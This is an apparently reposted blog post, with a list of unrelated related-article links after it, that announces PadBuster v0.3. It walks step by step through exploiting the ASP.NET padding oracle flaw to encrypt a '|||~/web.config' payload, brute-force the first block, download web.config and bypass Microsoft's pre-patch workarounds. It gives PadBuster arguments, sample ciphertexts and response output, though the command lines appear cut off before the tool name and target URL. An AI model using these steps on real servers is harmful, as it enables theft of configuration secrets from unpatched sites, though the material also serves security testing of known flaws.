Padding Oracle Attack,ASP.NET 的安全漏洞

转载 2012年01月10日 20:12:40

Now that a weekend has passed since the .NET patch was released, and since there is already a working public example of how to reliably download a web.config using the padding oracle attack, we have decided to finally releasev0.3 of PadBuster with the “Brute Force” option. This option is specifically designed to handle scenarios where the first block of ciphertext cannot be crafted using CBC-R due to a secret IV. This feature was NOT designed specifically for the .NET attack, as our intention for PadBuster is to be a universal tool for identifying and exploiting padding oracles in any web application. That being said, the brute force option CAN be used to reliably perform a web.config download attack within a reasonable number of requests.

Before discussing how to perform this attack using PadBuster, and some of the other new features in this version, it’s worth noting that there are more efficient ways to perform the web.config download attack using ScriptResource.axd. The T-Block brute force attack vector, which was originally pointed out to me by James Martin of ESP Technologies and is also discussed here by Giorgio Fedon of Minded Security, is significantly faster and more efficient. This technique, however, is pretty specific to the .NET ScriptResource.axd attack and as such is not likely to be incorporated into PadBuster (a separate exploit script is probably warranted).

The web.config attack using PadBuster is essentially a three step process. I will assume that the reader is already familiar with the specifics of why the script resource handler is vulnerable to a file download attack. If you are not familiar with the underlying issue, you can read about it herehere and here.

Step 1: Encrypt the Payload using CBC-R

The first step of the attack is to identify a component that is vulnerable to the padding oracle attack and use it to encrypt the web.config payload (|||~/web.config). This can typically be done in a few ways:

1 – Using WebResource.axd as a padding oracle for CBC-R.

If CustomErrors are NOT enabled, then you don’t even need a valid ciphertext sample to exploit the oracle…you can use an encoded dummy value of all NULLS instead (AAAAAAAAAAAAAAAAAAAAAA2). AAAAAAAAAAAAAAAAAAAAAA2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, you can still use WebResource.axd as the oracle. The caveat, however, is that you’ll need to use a valid ciphertext query string sample and use the -prefix option so that PadBuster sends this sample as the prefix of each test request. 1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config" -prefix 1s45vAJre3GVd98iQoAjgQ2

2 – Using ScriptResource.axd as a padding oracle for CBC-R. 

Like with the web resource handler, this is pretty straightforward if CustomErrors are not enabled: 1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, this handler can also be used as a padding oracle. The interesting thing about this technique is that it seems to work despite implementing all of the workarounds that Microsoft recommended before the patch was issued (CustomErrors using RedirectMode and optional Sleep). This technique, however, requires use of the brute force option so I’ll come back to that in a bit.

Step 2: Verify the encrypted payload does NOT include pipes

This step is optional, but certainly worth performing to ensure that you aren’t headed down a dead end road. In order for the exploit to work, the payload you send to the handler (including the “garbage” IV block) CANNOT include any pipe characters. If it does, the payload will never work. To verify this, you can use the padding oracle to decrypt your payload and verify its contents. So assuming that Step 1 produced a payload value of “iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1″, then the following command would be used to verify the contents of the payload. Make sure to use the -noiv option as the first block is the one you are most interested in. iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -noiv

So what if your payload DOES include pipes? Not to fear, there’s an easy workaround for this too. You may have noticed that when you decrypt samples using PadBuster, it prints the HEX encoded Ciphertext Bytes and Intermediate Bytes with the results of each block. You can optionally use any of these pairs along with the -ciphertext and -intermediate switches to feed PadBuster a known pair of ciphertext/intermediate values for use during CBC-R encryption. Using any one of these pairs to encrypt your exploit payload should produce a different payload than would otherwise be generated by PadBuster on its own, which can then be verified to ensure that it does not contain pipes.

Step 3: Brute force the first block

Now that you have a valid payload, the final step is to obtain the first block that will trigger the file download logic. The reason this step is tricky is that the Framework typically does not pass an IV along with the ciphertext. As such, we can’t use the padding oracle to reliably produce our desired first block.

The good news is that since you only need the first two bytes of the decrypted value to trigger our exploit (either Q#,q#,R# or r#) you can essentially brute force the needed block with fairly reliable success. And the even better news is that you’d be surprised at how quick it is to blindly brute force one of these values.

The approach taken by PadBuster is similar, but slightly different, than the approach used by Web.config Bruter script released by Giorgio Fedon. I must again credit James Martin for originally sharing his proof of concept exploit code with me that leveraged this technique for identifying the first block. Instead of random block values, however, PadBuster performs a sequential brute force starting with all NULLS. The sequential brute force ensures that you never attempt the same block value more than once and also allows you to resume the brute force where you left off if the script gets killed (using the -resume option). The example shown below assumes the payload from our Step 2 example above: iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log

PadBuster’s brute force mode works similar to the other modes of PadBuster, where the first step is an automated response analysis. The main difference is that rather than identifying a padding error, you want to identify an error that indicates failure of the brute force attempt rather than success. In most cases, you may have only one response to choose from…which is totally fine (unless one of the initial 256 fuzzing attempts produces a different response). In the case of ScriptResource.axd, there’s a good chance you’ll have more than one as shown below.

INFO: Starting PadBuster Brute Force Mode
[+] Starting response analysis...

*** Response Analysis Complete ***

The following response signatures were returned:

ID#     Freq    Status  Length  Location
1       1       200     337     N/A
2 **    255     404     1524    N/A

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :

The reason for the 200 response included above is the T-Block. For our purposes, we are not using the T-Block so we can select signature #2 (the 404). PadBuster will continue issuing brute force attempts and notify you of every response that does not match this signature. You’ll likely get several T-Block hits similar to the 200 response shown above before you hit a block that returns the web.config as shown below (this is just an excerpt from the output)

Attempt 4275 - Status: 200 - Content Length: 367

Attempt 4561 – Status: 200 – Content Length: 360

Attempt 4792 – Status: 200 – Content Length: 100277

Attempt 5353 – Status: 200 – Content Length: 359

As you can imagine, it’s difficult to tell whether these responses contain anything meaningful based solely on the data that is printed to the screen. In the case of this exploit, we know that the web.config file is likely going to be much larger than the small T-Block responses which average around 500 Bytes. You can actually see that in the excerpt above, attempt number 4792 shows a much larger content length…this is the response that contains the web.config file. The inclusion of unwanted T-Block responses in our output is a result of our desire to maintain PadBuster as a universal tool that is not specific to a particular vulnerability such as this one.

You may also have noticed that our original command made use of another new option (-log). The “log” option tells PadBuster to log various output files in an automatically generated folder using the PadBuster.DDMMYY-TIME naming convention. This option is critical for use in brute force mode, since each matching response is logged to this folder and can be easily reviewed to determine whether the brute force attempt worked. For the case of a web.config download exploit, I recommend running the above command and monitoring the output folder to determine when a significantly larger response file gets created.

Bypassing the Workarounds

Now that you’ve seen how to retrieve the web.config, let’s go back to an alternate technique for using ScriptResource.axd as a padding oracle. As I mentioned previously, this technique works despite implementing therecommended workarounds initially presented by Microsoft in their guidance preceding the patch release. To start, you’ll need a valid ciphertext sample. The sample, however, does not have to be valid for the script resource handler (it can be taken from any Framework component…most easily from the WebResource.axd query string).

Step 1: Find a valid T-Block Request

Using the obtained sample, along with the -bruteforce option, the following command can be used to quickly brute force a valid T-Block. The following example assumes that we were able to obtain a valid “d” value from a link to the web resource handler (/WebResource.axd?d=qmZbysenet6VGS94Ord8gQ2&t=633768217780468750). qmZbysenet6VGS94Ord8gQ2 16 -encoding 3 -bruteforce

Once you run PadBuster with these options, and select the default error pattern, you should get a 200 response within the first few hundred requests similar to the one shown below:

Attempt 60 - Status: 200 - Content Length: 337

Step 2: Use the obtained T-Block with the -prefix option

Now you can leverage the obtained T-Block request, along with the -prefix option, to use the script resource handler as a padding oracle as shown below. qmZbysenet6VGS94Ord8gQ2 16 -encoding 3 -noiv -prefix OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1

The examples above hopefully demonstrate how to use the new features of PadBuster for performing various exploits against the .NET framework. Our plan is to add more features to PadBuster where they make sense, specifically features that can be useful in against a wide variety of padding oracle attack vectors. As always, send us your feedback, modifications, bug reports, or general comments so that we can incorporate them into future versions.


Padding Oracle攻击(POODLE)技术分析

SSLv3降级加密协议Padding Oracle攻击(POODLE)技术分析漏洞概述:   SSL 3.0的历史非常久远,已经有将近15年了,现今几乎所有的浏览器都支持该协议。今天该协议爆出了一个漏...
  • u011956172
  • u011956172
  • 2015年08月04日 15:55
  • 1690

Padding Oracle 攻击实例分析(ms10-070)

在《2010年扬名的十大WEB黑客技术》和《浅谈ASP.NET的Padding Oracle攻击》中,我们都提到了Padding Oracle Attack的相关内容,也对其进行了一些简单的了解。...
  • xing_anksh
  • xing_anksh
  • 2013年09月23日 10:50
  • 1444


以前从来没用过Oracle,最近有个项目要求用Oracle数据库,让我脑细胞死了一大片,这里也是写些心得让.Net阵营的战士们一点参考,大神可无视。 先在Azure云服务器上安装Oracle 11g...
  • lyx_zhl
  • lyx_zhl
  • 2017年08月02日 14:11
  • 231


说明:本文中所需环境为2003Server+iis6.0+ms sql2000  曾经很早就在网上看到一篇关于<asp.net虚拟主机的重大隐患>的文章,当时并不在意,做过asp虚拟主机的朋友可能都知...
  • u012099818
  • u012099818
  • 2013年09月13日 19:11
  • 444


  • bainei2013
  • bainei2013
  • 2013年02月27日 10:53
  • 164


ASP.NET连接oracle数据库 首先我们在
  • lizhangyong1989
  • lizhangyong1989
  • 2014年06月01日 17:20
  • 2974

Asp.net连接Oracle数据库的连接池问题 .

关键字:ASP.NET, Oracle, 数据库连接池, 性能瓶颈 摘 要:本文通过笔者所经历的一个案例,介绍Asp.net连接Oracle因连接池的问题造成的性能瓶颈的现象,以及解决的办法。 ...
  • linghao00
  • linghao00
  • 2013年01月24日 08:24
  • 1372

asp.net三层架构连接Oracle 11g详解

asp.net三层架构连接Oracle 11g 连接Oracle时使用微软的Oracle连接组件; 一 DAL层 using System; using System.Collectio...
  • bcbobo21cn
  • bcbobo21cn
  • 2016年08月05日 13:45
  • 1237


日抽空就说一下 Session 在 .Net v1.0/v1.1 中的存储模式。大家可在 MSDN 2003 中搜索一下即可看到关于 Web.config 中的节点元素的描述,共有 Off、In...
  • u011966339
  • u011966339
  • 2016年11月12日 15:37
  • 240

ASP.NET Cache 实现依赖Oracle的缓存策略

ASP.NET 中的缓存提供了对SQL依赖项的支持,也就是说当SQL SERVER数据库中的表或行中的数据被更改后,缓存中的页面就失效,否则,页面输出可一直保留在缓存当中。这确实为程序员提供了方便。但...
  • u012770274
  • u012770274
  • 2015年08月28日 14:38
  • 802
您举报文章:Padding Oracle Attack,ASP.NET 的安全漏洞